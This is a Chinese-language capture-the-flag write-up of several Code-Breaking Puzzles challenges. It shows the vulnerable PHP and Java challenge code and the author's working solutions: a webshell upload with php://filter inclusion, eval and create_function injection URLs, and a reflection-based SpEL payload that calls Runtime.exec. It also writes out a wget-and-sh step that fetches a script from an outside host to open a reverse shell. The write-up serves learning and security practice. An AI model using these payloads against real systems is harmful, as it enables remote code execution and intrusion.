代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。
地址:https://code-breaking.com/
给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:
这个题最开始做上来的,但是做出来了个非预期解。
最开始的题目:
function is_php($data){
return preg_match('/<\?.*[\(\`].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
var_dump($_FILES);
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} ?>
只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:
include 'php://filter/convert.base64-decode/resource=10.php';
?>
不太知道为什么直接菜刀连接不上去,最后直接用glob+file_get_contents拿到了flag
chopper=var_dump(glob('../../../*'));
chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
后来is_php进行了修改:
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
预期解法是利用PHP默认pcre最大回溯10w次(pcre.backtrack_limit=100000),令正则匹配上传内容时回溯超过10w从而匹配失败。
具体解析p神已经发了博客:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
题目:
var_dump(__FUNCTION__);
//echo get_defined_vars();
echo preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
echo"\nerror";
// show_source(__FILE__);
}
正则允许无限的无参数函数嵌套,并且去掉嵌套的函数以后只剩一个分号。
记得好像有个能获取全局所有变量的函数,查手册查到get_defined_vars函数,结合数组操作函数current、array_values可以拿到GET中的第一个参数(所以a那个参数要在code前面,因为用了array_values所以叫什么无所谓)。
最后的请求:
http://51.158.75.42:8084/?a=var_dump(glob(%27./../*%27));&code=eval(current(array_values(current(array_values(get_defined_vars())))));
http://51.158.75.42:8084/?a=var_dump(glob('./../flag_phpbyp4ss'));&code=eval(current(array_values(current(array_values(get_defined_vars())))));
题目:
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
需要action不能完全由数字字母下划线组成,想到了命名空间这回事,函数前面加个\就可以用了。
利用create_function函数进行代码执行,
参考:
http://blog.51cto.com/lovexm/1743442
懒一下,直接写结果:
http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*
http://51.158.75.42:8087/?action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*
这个题我想用idea调试来的,参考网上远程调试的文章,并且也把jar文件导入到项目里,最后下了断点还是不停,就先静态看了。。
题目有点类似Shiro反序列化漏洞的利用,Shiro的rememberMe存的是加密后的序列化对象,这个存的是加密后的SPEL。
在getAdvanceValue函数中进行过滤+执行:
过滤规则及加密key:
一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令,利用反射来绕过黑名单,最后得到EL:
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'xxxxx')}
加密代码:
String a="#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'sh /tmp/414.sh')}";
String b=encrypt("c0dehack1nghere1", "0123456789abcdef", a);
System.out.println(b);
用dnslog测了下可以外连,用之前代码审计圈子提过的shell.now.sh反弹了shell。
似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{},导致EL没法正常执行,最后分成了两条命令:
wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh
sh /tmp/414.sh